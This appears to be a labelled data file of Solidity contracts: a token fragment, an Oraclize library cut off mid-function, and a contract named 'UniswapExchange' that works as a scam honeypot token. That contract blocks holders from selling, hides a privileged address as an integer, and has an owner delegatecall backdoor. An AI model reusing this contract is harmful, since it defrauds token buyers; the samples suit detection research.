function withDraw(address _etherAddress) public payable onlyOwner {
require (_etherAddress != address(0));
address contractAddress = this;
_etherAddress.transfer(contractAddress.balance);
}
function allocateTokens(address[] _owners, uint256[] _values) public onlyOwner {
require (_owners.length == _values.length);
for(uint256 i = 0; i < _owners.length ; i++){
address owner = _owners[i];
uint256 value = _values[i];
mintTokens(owner, value);
}
}
function allocateTeamToken() public onlyOwner {
require(balances[teamAddress] == 0);
mintTokens(teamAddress, teamSupply);
teamAddressFreezeTime = now;
}
function allocateCommunityToken (address[] _commnityAddress, uint256[] _amount) public onlyOwner {
communityAllocating = mintMultiToken(_commnityAddress, _amount, communityAllocating);
require (communityAllocating <= communitySupply);
}
function allocateCreationInvestmentingToken(address[] _creationInvestmentingingAddress, uint256[] _amount) public onlyOwner {
creationInvestmenting = mintMultiToken(_creationInvestmentingingAddress, _amount, creationInvestmenting);
require (creationInvestmenting <= creationInvestmentSupply);
}
function allocateAngelWheelFinanceToken(address[] _angelWheelFinancingAddress, uint256[] _amount) public onlyOwner {
angelWheelFinancing = mintMultiToken(_angelWheelFinancingAddress, _amount, angelWheelFinancing);
require (angelWheelFinancing <= angelWheelFinanceSupply);
}
function mintMultiToken (address[] _multiAddr, uint256[] _multiAmount, uint256 _target) internal returns (uint256){
require (_multiAddr.length == _multiAmount.length);
for(uint256 i = 0; i < _multiAddr.length ; i++){
address owner = _multiAddr[i];
uint256 value = _multiAmount[i];
_target = _target.add(value);
mintTokens(owner, value);
}
return _target;
}
} | 1 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
pragma solidity >= 0.4.22 < 0.5;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id);
function getPrice(string _datasource) public returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice);
function setProofType(byte _proofType) external;
function setCustomGasPrice(uint _gasPrice) external;
function randomDS_getSessionPubKeyHash() external constant returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() public returns (address _addr);
}
library Buffer {
struct buffer {
bytes buf;
uint capacity;
}
function init(buffer memory buf, uint _capacity) internal pure {
uint capacity = _capacity;
if(capacity % 32 != 0) capacity += 32 - (capacity % 32);
buf.capacity = capacity;
assembly {
let ptr := mload(0x40)
mstore(buf, ptr)
mstore(ptr, 0)
mstore(0x40, add(ptr, capacity))
}
}
function resize(buffer memory buf, uint capacity) private pure {
bytes memory oldbuf = buf.buf;
init(buf, capacity);
append(buf, oldbuf);
}
function max(uint a, uint b) private pure returns(uint) {
if(a > b) {
return a;
}
return b;
}
function append(buffer memory buf, bytes data) internal pure returns(buffer memory) {
if(data.length + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, data.length) * 2);
}
uint dest;
uint src;
uint len = data.length;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
dest := add(add(bufptr, buflen), 32)
mstore(bufptr, add(buflen, mload(data)))
src := add(data, 32)
}
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
function append(buffer memory buf, uint8 data) internal pure {
if(buf.buf.length + 1 > buf.capacity) {
resize(buf, buf.capacity * 2);
}
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), 32)
mstore8(dest, data)
mstore(bufptr, add(buflen, 1))
}
}
function appendInt(buffer memory buf, uint data, uint len) internal pure returns(buffer memory) {
if(len + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, len) * 2);
}
uint mask = 256 ** len - 1;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), len)
mstore(dest, or(and(mload(dest), not(mask)), data))
mstore(bufptr, add(buflen, len))
}
return buf;
}
}
library CBOR {
using Buffer for Buffer.buffer;
uint8 private constant MAJOR_TYPE_INT = 0;
uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1;
uint8 private constant MAJOR_TYPE_BYTES = 2;
uint8 private constant MAJOR_TYPE_STRING = 3;
uint8 private constant MAJOR_TYPE_ARRAY = 4;
uint8 private constant MAJOR_TYPE_MAP = 5;
uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7;
function encodeType(Buffer.buffer memory buf, uint8 major, uint value) private pure {
if(value <= 23) {
buf.append(uint8((major << 5) | value));
} else if(value <= 0xFF) {
buf.append(uint8((major << 5) | 24));
buf.appendInt(value, 1);
} else if(value <= 0xFFFF) {
buf.append(uint8((major << 5) | 25));
buf.appendInt(value, 2);
} else if(value <= 0xFFFFFFFF) {
buf.append(uint8((major << 5) | 26));
buf.appendInt(value, 4);
} else if(value <= 0xFFFFFFFFFFFFFFFF) {
buf.append(uint8((major << 5) | 27));
buf.appendInt(value, 8);
}
}
function encodeIndefiniteLengthType(Buffer.buffer memory buf, uint8 major) private pure {
buf.append(uint8((major << 5) | 31));
}
function encodeUInt(Buffer.buffer memory buf, uint value) internal pure {
encodeType(buf, MAJOR_TYPE_INT, value);
}
function encodeInt(Buffer.buffer memory buf, int value) internal pure {
if(value >= 0) {
encodeType(buf, MAJOR_TYPE_INT, uint(value));
} else {
encodeType(buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - value));
}
}
function encodeBytes(Buffer.buffer memory buf, bytes value) internal pure {
encodeType(buf, MAJOR_TYPE_BYTES, value.length);
buf.append(value);
}
function encodeString(Buffer.buffer memory buf, string value) internal pure {
encodeType(buf, MAJOR_TYPE_STRING, bytes(value).length);
buf.append(bytes(value));
}
function startArray(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_ARRAY);
}
function startMap(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_MAP);
}
function endSequence(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_CONTENT_FREE);
}
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Android = 0x40;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
return oraclize_setNetwork();
networkID;
}
function oraclize_setNetwork() internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) public {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) public {
return;
myid; result; proof;
oraclize = OraclizeI(0);
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
